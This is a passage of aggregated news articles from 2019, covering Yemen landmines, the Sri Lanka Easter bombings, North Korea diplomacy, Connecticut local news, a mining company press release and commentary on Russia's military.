as many as five foreign experts also with MASAM - two from South Africa, a Croatian, a Bosnian and a Kosovar - died in an accidental explosion in the central province of Marib. Rights groups say landmines have killed and injured hundreds of civilians and blocked aid deliveries since a Saudi-led coalition intervened in the government's war against Houthi rebels in 2015. According to the World Health Organization, nearly 10,000 people - most of them civilians - have been killed and more than 60,000 wounded in fighting since March 2015. Rights groups say the toll could be much higher. It is to be noted that Saudi Arabia, which has been leading an anti-Houthi military coalition since early 2015, launched a project to dismantle mines in Yemen in June 2018, which has so far since removed more than 50,000 mines in the country, including over 5,000 in February and another 6,000 in March 2019. As part of initiative launched by King Salman Humanitarian Aid and Relief Center (KSrelief), Saudi Arabia aims to remove mines left behind by Houthi rebels and equip the Yemeni specialists on the ground with the skills and resources necessary to clear landmines. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. New Delhi: Sri Lankan President Maithripala Sirisena confirmed that wanted Sri Lankan radical cleric Zaharan Hashim died in the hotel attack, reported AFP. The Sri Lankan police chief Pujith Jayasundara resigned over the failure to prevent the Easter terror attacks even as the health ministry on Thursday sharply revised the death toll downward to 253, saying the previous figure of 359 was due to a "calculation error". Nine Suicide bombers, believed to be members of local Islamist extremist group called National Thowheed Jamath (NTJ), carried out a series of devastating blasts that tore through three churches and three luxury hotels. Sri Lanka Defence Secretary Hemasiri Fernando resigned from his post on Thursday over Easter Sunday attacks. The development comes a day after Sri Lankan President Maithripala Sirisena asked him to quit over his failure to prevent the deadly suicide blasts despite having the prior intelligence inputs about the attacks. Fernando handed over his resignation letter on a request made by President Sirisena, Colombo Gazette reported. In his address to the nation for the first time since the Easter Sunday blasts that killed 359 people and wounded more than 500 others, Sirisena last night said he will make changes in top positions in the security establishment within the next 24 hours. Apart from Defence Secretary, President had also asked Inspector General of Police (IGP) Jayasundara to resign from his post. However, Jayasundara is yet to make any decision in this regard. Meanwhile, Sri Lankan police today arrested three suspects and seized 21 hand grenades and six swords during a raid following the Easter Sunday bombings. The Colombo Crime Division (CCD) and the Special Task Force (STF) personnel carried out the raid in Modara area of the city and arrested three suspects, the Daily Mirror reported. They also seized a van, 21 locally made low powerful hand grenades and six swords. The CCD officials are conducting further investigations. The Lankan authorities Thursday intensified their raids with the help of the army and arrested 16 more suspects in connection with the Easter suicide attacks, taking the total number of suspects under police custody to over 70. Sri Lanka's government has blamed the attacks on three Catholic churches and three luxury hotels on an Islamist extremist group National Tawheed Jamath (NTJ). The Islamic State group has claimed responsibility for the attacks, but the government has blamed the NTJ. With PTI Inputs For all the Latest World News, Download News Nation Android and iOS Mobile Apps. New York: The Islamic State (ISIS) has been airlifted from Iraq and Syria into Afghanistan and one example of it is the barbaric attack in Sri Lanka on Easter Sunday, Irans Foreign Minister Mohammad Javad Zarif said in New York. Speaking at the Asia Society on Wednesday, he said that the attacks in Sri Lanka has vindicated what they have been saying. Unfortunately, we have been saying that and people believe that we were just trying to make propaganda and a conspiracy theory approach. ISIS has been airlifted from Iraq and Syria into Afghanistan, he said. You see one example of it unfortunately in the barbaric attack on Easter Sunday in Sri Lanka,? Zarif said responding to a question on the status of ISIS and the connection with the terror attacks in the island nation. The Sri Lankan authorities say that National Thowheed Jamath (NTJ) was behind the attacks on three churches and three luxury hotels. But ISIS have claimed responsibility for the attacks and named the suicide bombers involved. But unfortunately, the people of Afghanistan are seeing incident after incident, terrorist attack after terrorist attack by ISIS, directed against particular sects in Afghanistan in order to create the sectarian war that ISIS has been looking for since 2002, he said. Zarif criticised the wrong policies of the US in war-torn Afghanistan, saying talking to the Taliban about Afghanistans future but excluding the Afghan government from it has achieved nothing. Seriously wrong policies by the United States, wrong approaches, an attempt to exclude everybody and just talk to the Taliban has alienated the government, the region and it achieved nothing, he said. You cannot negotiate the future of Afghanistan with the Taliban. The Taliban represents only a segment of the Afghan society, not all of it. You cannot exclude the government, you cannot exclude the other groups in Afghanistan and just talk to the Taliban, he said. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. Washington : President Donald Trump on Friday welcomed Russian and Chinese help with North Korean nuclear negotiations, despite Kim Jong Un accusing the US of bad faith at a first summit with Vladimir Putin. I appreciate that Russia and China are helping us, he told reporters at the White House. Putins first summit with Kim on Thursday was seen as a response to the failure of a Kim-Trump meeting in Hanoi in February, where talks broke down without agreement. But Trump indicated that he does not see China and Russia as rivals in the struggle to get North Korea to give up its nuclear arsenal. China is helping us because I think they want to. They dont need nuclear weapons right next to their country, Trump said. I think were doing very well with North Korea. A lot of progress is being made, he added. I appreciated President Putins statement yesterday. He wants to see it done also. I think there is a lot of excitement for getting a deal done with North Korea. Kim left his summit with Putin indicating that he has cooled on the much-touted bid by Trump to woo his country into a non-nuclear future. The official Korean Central News Agency reported that Kim told Putin the US had adopted a unilateral attitude in bad faith at the Hanoi summit. Peace and security on the Korean peninsula will entirely depend on the US future attitude, and the DPRK will gird itself for every possible situation, Kim was quoted as saying. Putin backed the Norths demand for security guarantees in its standoff with the United States over the nuclear capability, which Washington wants to see scrapped entirely, but Pyongyang fears would leave the country vulnerable. Trump has claimed that he and Kim have a special friendship and even love. But their second summit, held in Hanoi, broke down in late February without a deal, after cash-strapped Pyongyang demanded immediate relief from sanctions. Russia has also called for the sanctions to be eased, while the US has accused Moscow of trying to help Pyongyang evade some of the measures. In another setback just a week ago, Pyongyang demanded the removal of US Secretary of State Mike Pompeo from the stalled nuclear talks. On Thursday, Putin emerged from the meeting saying that like Washington, Moscow supported efforts to reduce tensions and prevent nuclear conflicts. But he also insisted that the North needed guarantees of its security, the preservation of its sovereignty. It was what the North has been saying all along said Kim Keun-sik, professor of North Korean Studies at Kyungnam University, adding that Putins support for Pyongyangs stance was the biggest prize Kim won in Vladivostok. Putin flew on to another summit in Beijing the same day, while Kim stayed in Vladivostok and had been due to take part in a series of cultural events. The mercurial North Korean kept officials in suspense about his post-summit plans. A wreath-laying ceremony was delayed by two hours on Friday morning, with an honour guard kept waiting and the red carpet rolled up. Kim eventually showed up and the wreath was laid. Solemn music played as he stood, hat in hand wearing a black double-breasted waistcoat. Russian media had reported that Kim would be visiting the citys aquarium and seeing a ballet, but the visit was apparently cut short. Kim instead turned up at the train station in the afternoon and, after a final departure ceremony with a military band, boarded his train and left around 3:30 pm (0530 GMT). Putin and Kim said they were looking to strengthen ties that date back to the Soviet Unions support for the founder of North Korea, Kims grandfather Kim Il Sung. Kim said he hoped to usher in a new heyday in ties. The North Korean strongman invited Putin to visit at a convenient time and the invitation was readily accepted, KCNA said. Kim met Putin because he wanted to show he had someone on his side, said Lee Woo-young, a professor at the University of North Korean Studies in Seoul. Kim is seeking the upper hand for future talks with the US and meeting foreign leaders like Putin can help him do that. But Washington was unlikely to be swayed, he added, with analyst Kim also doubting the US would be surprised or alarmed. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. Ending up on the streets of Bahrain, after losing his job and enduring a series of setbacks, Sulaiman Kunju, an Indian national by birth, can finally breathe a sigh of relief. Thanks to the efforts of media and social service organisations in the Kingdom, Sulaiman will fly back to his homeland today, after landing in Bahrain almost 10 years ago as a construction worker. Fate, however, had other plans for Sulaiman and finally left him stranded on the terrace of a building here in Manama without a roof to escape the scorching Sun. Indian National Suleimans shocking situation garnered public attention only when 4 PM News, a sister concern of Tribune, published a story seeking help. Learning about his situation, the authorities here quickly intervened to clear his travel ban and a fine imposed for staying illegally. He was also granted immigration clearance. The Immigration Directorate has worked with the India Embassy of Bahrain to expedite the process. The unfortunate happenings in Suleimans life began with him failing to renew his visa, after losing his job as a construction worker. The situation worsened further when he also failed to retrieve his passport from his sponsor who passed away, which left him with a CPR as the only identification document. When contacted, Sulaiman earlier told Tribune that it took him almost two years just to settle the debts, which he incurred back home to pay for the visa. The visa cost his BD1,000. After two years, I had no money to renew my visa and since then I have been an illegal resident in the Kingdom, he told Tribune. Despite winning his ticket to the homeland, Sulaimans problems are far from over as he is still in financial distress. The family of Sulaiman, who hails from the Indian state of Kerala, includes his wife and three children. He requests help from capable hands. To help, contact Suleiman on +973 36451199 or Badushah on +973 33311919 After fleeing to Bahrain from Jersey more than a decade ago, Russell Stephen King (60) was brought to justice when he was jailed for six years recently, reported Jersey Evening Post. King, who appeared in court in a wheelchair, laundered a total of 671,000 from the now-defunct Belgravia Financial Services Group, of which he was a shadow director, over a three-month period in 2008. Much of the money was then hidden in Switzerland. He also sold cherished registration plates on behalf of his former business partner Duncan Hickman, following his sudden death and kept the money for himself. King pleaded guilty to five counts of fraudulently converting a total of 740,286 of money belonging to others. Crown Advocate Matthew Jowitt, prosecuting, said Kings motivation was pure greed. The lawyer said the defendant was a man who was known among staff to enjoy first-class flights around the world, five-star stays at the Ritz-Carlton in Bahrain and at the Dorchester in London, as well as trips to the Island and dinner for his parents at Longueville Manor all on the financially crippled companys expenses. BETHANY A Danbury man died Thursday, trapped under debris at a nearly-collapsed barn in Bethany, according to the Connecticut State Police report. Joister Pacheco-Attaide, 38, of Pahquioque Avenue in Danbury, was one of the workers striving to restore the barn at 81 Litchfield Turnpike Thursday morning. But around 8:40 a.m., the barn started to collapse and first responders were called. When they got there, Pacheco-Attaide was trapped under debris, the report said. Fire and medical personnel were able to get to him amid the rubble, only to find he already had died as a result of his injuries. His body was recovered from the remnants of the barn and taken to the Office of the Chief Medical Examiner, according to Bethany Resident State Trooper David Merriam. The cause of death has not yet been determined. The remainder of the structure was knocked down and made safe later Thursday, the state police report said. The Occupational Safety and Health Administration was called in to investigate the death since it was a workplace incident. The incident remains under investigation by OSHA, state police and town building officials. Although state police did not reveal what contractor the man worked for, WFSB reported it was Hogans Handyman Services. WFSB reported the company was hired to replace roofing, remove excess materials, restore the structure of the barn and replace windows. An employee called the incident heartbreaking in an interview with WFSB. The 2.2-acre property is listed for sale, according to www.realtor.com. In addition to the barn, the site has a 2,615-square-foot house and separate stone outbuilding, the listing says. HARTFORD Legislators are trying once more to pass a bill that seeks special rules for police officers who seek mental health care services following job-related trauma. The bill this week easily passed through the Judiciary Committee after previously being passed by the Public Health Committee. It now moves to the full Senate. Similar legislation made it out of the Public Safety Committee last year but died on the Senate calendar. The bill would prohibit a law enforcement unit from firing, disciplining, or discriminating against an officer solely because the officer seeks mental health services or surrenders his or her firearm during the period when the officer seeks such services. The bill also allows a police officer who is voluntarily admitted to a psychiatric hospital to have his or her firearm returned upon discharge, if the officer complies with the bills provisions. Under current law that was passed in 2013 following the Sandy Hook massacre, someone who is voluntarily admitted to a psychiatric hospital and not solely for alcohol or drug dependency treatment is ineligible to possess a firearm for six months after discharge. This is seen as a barrier to treatment for police officers because the loss of access to their service weapon could cost them their jobs. The bill also would: Require a law enforcement unit to ask such an officer to submit to a mental health evaluation before returning a surrendered firearm to the officer, and; Require the Department of Emergency Protection and Public Protection (DESPP) and municipalities with police departments to develop a list of licensed mental health care providers in the state and to post it on their respective websites. A strong supporter of the bill is Sen. Dan Champagne, R-Vernon, who also spent more than two decades as a police officer. Champagne told his fellow Judiciary Committee members that he, too, during his police career suffered from Post Traumatic Stress Disorder (PTSD). Police work is not easy, Champagne said. You see the death of children, gunshot victims, domestic violence, among other terrible things, the senator said. Many officers commit suicide because they dont get the therapy they need. Under current Connecticut law, Champagne said: Police will not get what they need if theres a chance theyll lose their job. During the public hearing phase of the bill in front of the Public Health Committee, James Rascati, a clinical Instructor in Psychiatry at Yale University, implored legislators to pass the bill. Over the past 15 years I personally have responded to multiple line of duty deaths as well as to nine police suicides, one of the most devastating events any law enforcement agency can experience, Rascati testified. Rascati, who has trained officers in about 40 Connecticut police departments, testified that first responders law enforcement in particular are usually reticent to use behavioral health services. There is the macho culture, concerns about confidentiality, the stigma and the fear that somehow talking to a therapist will negatively impact their career, Rascati testified. And yet the literature and research is fairly clear that police officers have higher rates of divorce, substance abuse, acute stress disorder, PTSD, depression, and suicide than the general public. Rascati added: I get that after Sandy Hook we as a society and the state legislature had to do something after that tragedy. However, in our rush to do something I believe we did not think through the implications on how the original bill would negatively impact law enforcement in seeking mental health care. One of the two Judiciary Committee legislators who voted against the bill was Rep. Doug Dubitsky, R-Chaplin. Dubitsky said there was no bigger supporter of police than himself but he couldnt support a bill that provides a benefit to a small class of residents. If its good policy for police officers, its good policy for everybody, Dubitsky said. Rep. Craig Fishbein, R-Wallingford, also voted against the legislation. Sen. Rob Sampson, R-Wolcott, agreed with Dubitskys arguments but he voted in favor of the bill. Scott Wilson, president of the Connecticut Citizens Defense League, presented an argument similar to Dubitskys and Sampsons, last year, when the bill was raised. While we respect the hard work of our sworn officers across the state, we believe it would be in the best interest if this bill were modified to include all seeking the issuance or renewal of a permit to carry a pistol or revolver, an eligibility certificate for pistols or revolvers, or an eligibility certificate for long arms, Wilson wrote last year. Essentially, if this legislation is good enough for police officers, it should good enough for all applicants. The two unions representing Stop & Shop employees in Connecticut voted overwhelmingly Thursday night to ratify a tentative contract labor leaders negotiated with the company over the weekend. In separate votes taken in Southbury and New Haven Thursday, United Food and Commercial Workers Locals 371 and 919 voted to approve the the tentative contract agreement. Local 919 ratified the deal unanimously shortly after 8 p.m. in New Haven. Local 371 followed suit about 10 minutes later in Southbury, ratifying the contract by acclimation. UFCW Local 371 president Tom Wilkinson said after the ratification Stop & Shop customers voted long before the unions formal action, shopping for groceries at other stores to pressure the company. And he said the impact of unionized workers from Europe who traveled to the strike sites on their own dime to lend support. I think it puts the union in a better place, Wilkinson told Hearst Connecticut Media . We did our job on the picket lines, but its not something that were going to gloat about. We are going to be very proud of the operation we had. You think about it: Shutting down 240 stores down - in 10 minutes. Wilkinsons counter with Local 919, Mark Espinosa, said everything the company was looking to take away from us didnt go through. We got excellent raises that are retroactive and the members are secure in knowing their pensions and their health plans are intact, Espinosa said. .Local 919, which is located in Farmington, represents about 7,000 workers, including cashiers and employees who stock the shelves, while Westport-based Local 371 has about 4,000 members who work in the meat, fish and deli departments. At the Wyndham SouthburyUFCW Local 371 set up a ballroom to accommodate 550 Stop & Shop workers voting on the contract there. Meanwhile, in New Haven, more than 700 members of Local 919 packed a ballroom at the Omni New Haven Hotel at Yale. Espinosa approached the podium before the vote and raised his clenched fists like a victorious prizefighter. He called what the union achieved a watershed moment. We want to be able to show America, particularly non-union, what a strong union can do, Espinosa said. You are part of history. While passions were high on the picket lines, Wilkinson said the decision to end the 11-day strike had to be made because ultimately it would have done harm to both parties. That energy (from the workers) cannot last forever, so it got to a point when a decision had to be made where we came up with a tentative agreement, he said. If the strike continued, what more would be achieved? What more wouldve been worthwhile? Naturally, if we got everything that we wanted, I dont know how long the company would last, Wilkinson said. The tone of this negotiation was set very early. They knew where we were coming. The outcome, he said, is that both sides can at least say this is a contract where the members are going to feel secure and the company is going to be able to sustain itself into the future, he said. We can survive anything except store closings, Wilkinson said. More than 31,000 Stop & Shop workers in Connecticut, Massachusetts and Rhode Island went on strike April 11, staying off the job for 11 days. They returned to work Monday. Ahold Delhaize, the Dutch company that owns Stop & Shop, said the 11-day strike is expected to lead to losses between $90 million and $110 million. The highlights of the tentative contract for full- and part-time union members of Local 371 includes: All workers have a pension plan, and access to college benefits, such as a scholarship program that could provide up to $3,000 a year. Health care benefits that include part-time workers, who will get dental, vision, union member disability life insurance, and hearing aid benefit. Full-time workers get full medical and prescription, along with ancillary benefits that will also cover their spouse and dependents. The increased presence of automation in stores continues to be a hot issue, but Wilkinson said that will come down to the companys decision. We know automation is coming, he said. Weve got miles to go in automation. We are only inches into this. ... We have to prepare for it. Local 919s members are full-time employees and are at or above the top of their wage scale will get an additional $25 per week in their paychecks retroactive to Feb. 24. Their pay will then increase by another $30 per week on Feb. 23, 2020 and then by another $25 per week on Feb. 21, 2021. Clerks who became full time employees after April 19, 2016 and are at the top of their of their pay scale or above will get an extra $15 per week retroactive to Feb. 24 of this year, followed by a $1,250 bonus at the end of February 2020 and another $15 per week in their pay checks at the end of Feb. 2021. Local 919 members who work part-time at Stop & Shop also saw smaller pay increases. Jordan Grice and Alex Soule contributed to this story. luther.turmelle@hearstmediact.com Hundreds of defective antenna assemblies for Metro-Norths long anticipated Positive Train Control safety system have been recalled, threatening further delays in an already delayed project. More than 1,200 scanner assemblies that allow trains to communicate with a central system were recalled over defective parts. The signals allow the lifesaving PTC system to control trains, slowing or stopping them if they are operating in an unsafe manner. I will tell you none of us accept this level of failure, said Neal Zuckerman, a Metropolitan Transportation Authority board member during a meeting this week in New York City. It is completely unacceptable, Zuckerman said. The problem centers around antenna assemblies manufactured by Siemens Rail Automation for Metro-North and the Long Island Rail Road under a $428 million contract shared with Bombardier Transportation. The PTC system transmits signals to and from rail cars to a central computer that tracks movement, speed and track conditions. So far, 285 defective units were recalled from Metro-North trains and are due to be replaced by July. Another 976 defective units were recalled for LIRR trains and are scheduled to be replaced by October, MTA officials said. Deborah Chin, the PTC project manager, said the recall will not cause the railroads to miss the Dec. 31, 2020 federal deadline to fully install PTC control on its trains. We still remain on target to implement by end of 2020, Chin said. Metro-North and its parent, the MTA, are under pressure to meet that deadline. The railroad already missed a December 2018 deadline to install the system. The railroads received a two-year extension from federal regulators until the end of 2020 to complete the project. Its widely believed PTC would have prevented a 2013 Metro-North derailment in the Bronx that killed four people and injured dozens of other passengers after a train overturned on a curve because it was traveling too fast. Recalled parts MTA board members this week expressed frustration and anger over Siemens inability to provide the antenna assemblies on time and in working condition, prompting Lawrence Schwartz, an MTA board member, to threaten to fire the company. As Siemens officials looked on, Schwartz noted the New York State legislature recently adopted a disbarment law that allows agencies to prevent underperforming companies from receiving future work. We have the legal right to disbar you, Schwartz said. Chin noted that last week the LIRR installed a repaired antenna unit that still didnt work. She said MTA has placed officials in an oversight capacity at the companys Pittsburg plant. John Paljug, a Siemens executive, told board members that the company discovered a tuning problem with the antenna assembly and another internal issue. We have been making this product since 1997 and never had a systematic recall, Paljug said. This is first time this system reached this level of recall. We want the product to work as designed. Paljug said a second shift has been added to the manufacturing center to turn out modified devices. We adapted a new way of mounting it and we are finishing our vibration testing, Paljug said. Its a big effort by the business and we are throwing people, talent and facilities at it right now. Deserve an apology Jim Gildea, chairman of the Connecticut Commuter Rail Council, said if Metro-North can replace the scanners by July the PTC project may be able to stay on schedule. With PTC, we are told that everything is moving ahead, or they are on schedule, and then a pretty big variable such as this occurs and it seems to come from nowhere and its not well communicated, Gildea said. Kevin Law, an MTA board member, said commuters are owed an apology. As the largest commuter lines in the country, I find it egregious that we are still talking about delays and its unacceptable, Law said. I dont understand how this has been allowed to happen, he added. Its hard to fathom. I believe commuters on both rails deserve an apology. Metro-North also has faced delays in receiving the complicated software necessary to make the PTC system operate. bcummings@ctpost.com Joe Giulietti donned his charcoal pin-striped suit, strapped on black boots with two buckles early Thursday and rode the rail back to the early days of his career. Connecticuts new Department of Transportation Commissioner is a railroad guy through and through, from his first job as a brakeman (now called assistant engineer) in New Haven to leading Metro-North railroad as its president for three crucial years. Starting out while still a student at Southern Connecticut State University in New Haven he put air hoses together, worked on passenger trains one day, freight the next. He was a conductor, a locomotive engineer and, long story short, everything else is fate. Joe hes the sort of guy you want to call by his first name caught the 9:05 out of Danbury on Thursday morning for the 54-minute trip to South Norwalk, just like an average of 1,100 people on that line every weekday. The man who is in charge of every highway, bridge, airport, seaport and rail track in Connecticut was responding to a challenge. I had written a column Dec. 30 To the new DOT leader: Ride the Danbury line after he was nominated as commissioner by then-Gov.-elect Ned Lamont. Come see first-hand, I wrote, why the Danbury branch line needs more attention. What will it take to get faster, more frequent service? Joe agreed to ride the line and Catherine Rinaldi, now the president of Metro-North (the first woman in that position, by the way), wanted to join him. They gave Hearst Connecticut Media exclusive time; this was not an all-optics media stunt. In the Danbury station, which could be a transportation hub, Mayor Mark Boughton greeted these rail leaders and made a pitch for a spur from the city to the Southeast, N.Y., Harlem Line. He knew that Joe had operated trains in Danbury early on, admiring that he knew every spur, every line. We boarded the 9:05 (Boughton stayed in the Hat City) with a handful of other passengers who were in different cars. We didnt notice the spring green of new leaves nor the scenic ponds nor blooming magnolias out the windows; there was much to talk about. Cathy Rinaldi, who is a daily commuter herself on the Hudson Line into Grand Central Terminal, noted the importance of the New Haven Line, with its branches to Waterbury, New Canaan and Danbury. Half of the Metro-North ridership is on the New Haven Line, she said. We are talking about the second-busiest commuter railroad in the country, with 86.5 million rides a year between Grand Central and 123 stations in Connecticut and New York. But heres the problem: Connecticut hasnt kept up with funding the infrastructure. It is 20 years behind New York, she said, and that slows down the trains. (Connecticut owns the tracks, trains and such; Metro-North operates the service.) While I would like to see electrification of the Danbury Line to improve the service, Joe explained why it is not a priority. Not only is it very expensive, last estimated at about $400 million-plus, but also it wouldnt make a big difference. It would not bring added value, Cathy said. The reason: There isnt room at Grand Central for more trains to arrive or depart. Its a bottleneck. A $4 million rail car As the train pauses at the downtown Bethel station, First Selectman Matt Knickerbocker comes aboard. Wearing a red tie with bicycles. Its a good conversation starter. Matt talks of Bethel developing a Transit-Oriented District around the station, a 15-year endeavor that is about two-thirds complete; a pedestrian walk bridge is needed. But he also relates to commuting, which he did to Stamford and NYC for 43 years. He knew when the car we were riding went into service April 1, 1986. It was better than the early years when water would get between the panes of glass and slosh around like an aquarium without fish. But now these trains are getting old, he conceded. Joe doesnt disagree, but he finds the diesel trains in use on the Danbury Line more reliable in bad weather than the overhead electric catenary system on the main line. The time is near, though, to replace the cars. Joe wants new, lighter, cars for Danbury and the rest of the line. A minimum of 60 cars and as many as 110 are needed at an estimated cost of $3.5 million to $4 million each. (It hasnt gone out to bid yet.) To make an understatement, this will take a serious commitment from the state. The commissioner is neutral on whether Connecticut should reinstate tolls to pay for rail improvements and repair bridges and highways all of which need attention. Recently he went to the Legislature saying transportation requires more funding. The reception he gets these days is more cordial than in 2014 when he became president of Metro-North. A string of accidents, from a derailment in Bridgeport that injured dozens of passengers to several fatal crashes, called the safety of the rail line into question. There was distrust, Joe says. He turned that around, even as the railroad struggled to meet deadlines for installing Positive Train Control, which can stop out-of-control speeding trains. Joe retired from Metro-North in 2017, and as a consultant was the architect of the 30-30-30 plan touted by Lamont to get from Hartford to New Haven in 30 minutes, New Haven to Stamford in 30 and Stamford to Grand Central in 30. Theres a ways to go. He didnt know Lamont when he got the call to join the administration as DOT commissioner. He liked Lamonts commitment to improving transportation and his wife, who was working in Florida where they lived, said go for it. A state you can wrap your arms around To clear up that bottleneck at Grand Central, two other projects have to finish an East Side Access involving the Bronx with completion expected in December of 2022, then shifting some Long Island Rail Road trips to Penn Station by 2024. That will free up tracks in Grand Central. Catherine sees possibilities for Connecticut when the East Side Access improves worker flow to the state, sort of a reverse commute, with people coming from the Bronx to Connecticut daily for jobs. It will boost the economy, she says. Improving the train times and frequency is crucial to economic development along the Danbury Line or the Waterbury branch from Bridgeport, I still maintain. The rail could be a great funnel bringing workers into Stamford or further into Manhattan and back again. Along with transit-oriented districts that make it easier for people to get around, the over-reliance on individual cars (chugging down clogged highways) can shift. Joes vision is bigger. As we near the South Norwalk station the first time I thought the trip was too quick he talks of linking the rails to other places people need to go. Connecticut is a state you can wrap your arms around, he says. Why not take a rail to the airport? As Joe, and Cathy, walk off the train to a meeting about the Walk Bridge replacement project, a tune hums from the distant past. Ive been working on the railroad, all the live long day.... And thats how he likes it along now with highways and bridges and seaports and airports. Jacqueline Smiths columns appear Fridays in Hearst Connecticut Media daily newspapers. Email her at jsmith@hearstmediact.com Wary of making the race all about Donald Trump (as Hillary Clinton was criticized for doing in 2016), the 2020 Democratic presidential primary contenders have gone to the other extreme - rarely mentioning the president and engaged in a bidding war among themselves for the affections of the progressive base. As a result, they have made it harder for voters to determine who will be the most effective at rattling Trump and exposing his betrayal of the working-class and rural voters who supported him. How would a nice guy like Sen. Cory Booker, D-N.J., stand up to Trump? Could a congenial candidate from the heartland (e.g. Sen. Amy Klobuchar of Minnesota or South Bend, Indiana, Mayor Pete Buttigieg) chastise Trump for ignoring the economic interests of these voters (e.g. tariffs hurt farmers, Obamacare repeal threatened their health care, climate change denial is leaving them defenseless against extreme weather)? Could a Beto O'Rourke (who won't even do TV town halls) pass the gravitas test? It's hard to tell, because these candidates aren't spending time demonstrating how they would go after Trump. Joe Biden isn't going to fall into that trap. Already leading in the stature department thanks to eight years as President Barack Obama's vice president, he seems itching to remind voters that he is the son of Scranton, Pennyslvania, the Obama running mate who shredded Paul Ryan in the 2012 vice presidential debate and the heart-on-his sleeve patriot. ("The core values of this nation, our standing in the world, our very democracy, everything that has made America, America, is at stake. . . . Folks, America's an idea, an idea that's stronger than any army, bigger than any ocean, more powerful than any dictator or tyrant. It gives hope to the most desperate people on Earth; it guarantees that everyone is treated with dignity and gives hate no safe harbor. It instills in every person in this country the belief that no matter where you start in life, there's nothing you can't achieve if you work at it.") Voters who watch Biden's announcement could picture Biden turning to Trump and scolding him that there aren't "very fine people" on the neo-Nazi side or going after him for lying about a super-duper health-care plan and falsely promising that plants in Ohio wouldn't close and that a trade war would be easy to win. The mix of disdain and disgust that Biden evidences when talking about Trump not only channels what Democratic voters are feeling but also serves as a coming-attractions reel for the general election. One can imagine Biden needling Trump before the primaries even begin. "He complimented Kim Jong Un, and even reportedly told a U.S. envoy to agree to pay a $2 million bill from North Korea for "medical care" of American Otto Warmbier?! How weak, how pathetic is that?" or "Trump ripped little kids at the border from the arms of their mothers. How dare he!" By putting Trump on defense, showing Democratic primary voters just how scrappy he is, using his foreign-policy credentials and displaying the empathy and decency that he is well-known for, Biden might provoke Trump and thereby make himself the de facto Democratic pugilist against Trump. If by some miracle Trump restrains himself, Biden will nevertheless show that he can land body blows and make it that much harder for Republicans to defend the president. Biden certainly must lay out his own policy priorities and satisfy voters that he has a 21st-century agenda around which he can build an electoral majority. However, if no one is going to compete with him for the toughest anti-Trump combatant, why shouldn't Biden start scoring points against an unpopular president? VANCOUVER, April 26, 2019 /CNW/ - Euromax Resources Ltd., April 26, 2019 (TSX: EOX): Euromax Resources Ltd. (Euromax or the Company) is aware that Solway Investment Group GmbH yesterday issued a press release regarding a proposal relating to the Company, which proposal has been received and considered by the Company. As set out in the Company's news release of March 22, 2019, the Company has entered into a legally binding private placement financing with one of its current major shareholders, Galena Resource Equities Limited, an entity controlled and managed by Galena Asset Management S.A., which is an affiliate of Trafigura Pte Ltd., for gross proceeds of CAD$9,188,040 (USD$6,900,000) and with two other existing shareholders of the Company for gross proceeds of CAD$1,102,565 (USD$828,000) (collectively, the Transaction). Closing of the Transaction is subject to the satisfaction of certain conditions, of which the only material outstanding condition is the approval of the Macedonian Commission for Competition (the Macedonia Competition Approval). The Company has applied for the Macedonia Competition Approval and the approval process is currently underway. The Company has no reason to believe that it will not obtain the Macedonia Competition Approval within the time frame previously indicated. The Company will provide an update once the Macedonia Competition Approval has been obtained and the Transaction has closed. In light of the Transaction, the Company is not further exploring the Solway proposal at this time and does not intend to comment further unless otherwise appropriate or required by law. About Euromax Resources Ltd. Euromax is a minerals development company whose corporate strategy is centered on the development of the Ilovica-Shtuka Project, the company's core copper and gold development project located in Macedonia. Euromax, through its local subsidiaries, has been involved in the exploration and development of a number projects in south-eastern Europe since January 2011. Forward-Looking Information This news release contains forward-looking information. Forward-looking statements include, but are not limited to the completion of the Transaction, the use of proceeds from the Transaction, implementation of the amendments to the Company's outstanding convertible debentures as detailed in the Company's press release dated March 22, 2019 (the Debenture Amendments), the continued advancement of the Company's general business plan and the development of Ilovica-Shtuka Project, and the receipt of all necessary government approvals and consents. When used in this press release, the words "will", "shall", "anticipate", "believe", "estimate", "expect", "intent", "may", "project", "plan", "should" and similar expressions may identify forward-looking statements. Although Euromax believes that their expectations reflected in these forward looking statements are reasonable, such statements involve risks and uncertainties and no assurance can be given that actual results will be consistent with these forward-looking statements. Important factors that could cause actual results to differ from these forward-looking statements include, but are not limited to, the possibility that the Transaction will not be completed as contemplated, or at all, because the necessary regulatory approvals, including the Macedonian Competition Approval, are not received or other conditions to completion of the Transaction are not satisfied, the possibility that the Company has to allocate proceeds to other uses or reallocate proceeds differently among the anticipated uses due to changes in project parameters or other unforeseen circumstances associated generally with the unpredictability of mining operations, the ability of the Company to come to definitive agreements with the holders of debentures with respect to the implementation of the Debenture Amendments, the ability to implement corporate strategies, the ability to obtain financing as and when required and on reasonable terms, the risk that the development of the Project may not proceed as anticipated, including the inability to obtain necessary government approvals for its activities in a timely manner, political or economic instability in the jurisdiction in which the Ilovica-Shtuka Project is located, changes in national and local government legislation, regulation, and taxation, and other risks disclosed in our filings made with Canadian securities regulators available on SEDAR at www.sedar.com. This list is not exhaustive of the factors that may affect any of Euromax's forward-looking statements. Investors are cautioned not to put undue reliance on forward-looking statements. Forward-looking statements contained herein are made as of the date of this news release and Euromax disclaims any obligation to update any forward-looking statements, whether as a result of new information, future events or results or otherwise, except as required by applicable securities laws. SOURCE Euromax Resources For further information: please visit www.euromaxresources.com or contact: Varshan Gokool, President & Chief Executive Officer, +44 (0) 20 3918 5160, [email protected]; Martina Kostovska, Communications Manager, +389 2 3 220 998, [email protected] Related Links www.euromaxresources.com The US has begun supplying some missiles to Ukraine. The US could supply a dozen PT boats with missiles and drive the cost to Russia of military escalation in Ukraine beyond any reasonable benefit. Russias military and economy today is obviously far weaker than it controlled Eastern Europe with the Soviet Union. The US previously provided a moderate level of arms for Afghanistan to increase the cost of the war for the Soviets. This was dramatized in the movie Charlie Wilsons war. Ukraine is expanding its economic and technology connections with China and Chinas interests and involvement could also prevent military escalation. Interestingly there was the simultaneous release of several thinktank analysis of the adequacy of Ukraines 250,000 volunteer army and the paper tiger nature of Russias military. Russia has about 1 million active military personnel but Strategy Page claims that Russia has only 100,000 or so in actually effective units in special operations and airborne units. Russia has a lot of unmotivated and poorly trained one year draftees. The poorly trained aspect is the main issue that has not been commonly discussed until recently. Russias economic problems, oil and gas-dependent economy, badly aging and shrinking population and lack of money for military modernization are more well known. The poor training problem combined with military equipment and cash issues means that Russias military is 2 to 5 times less than the statistics of a 1 million man army with 2 million in 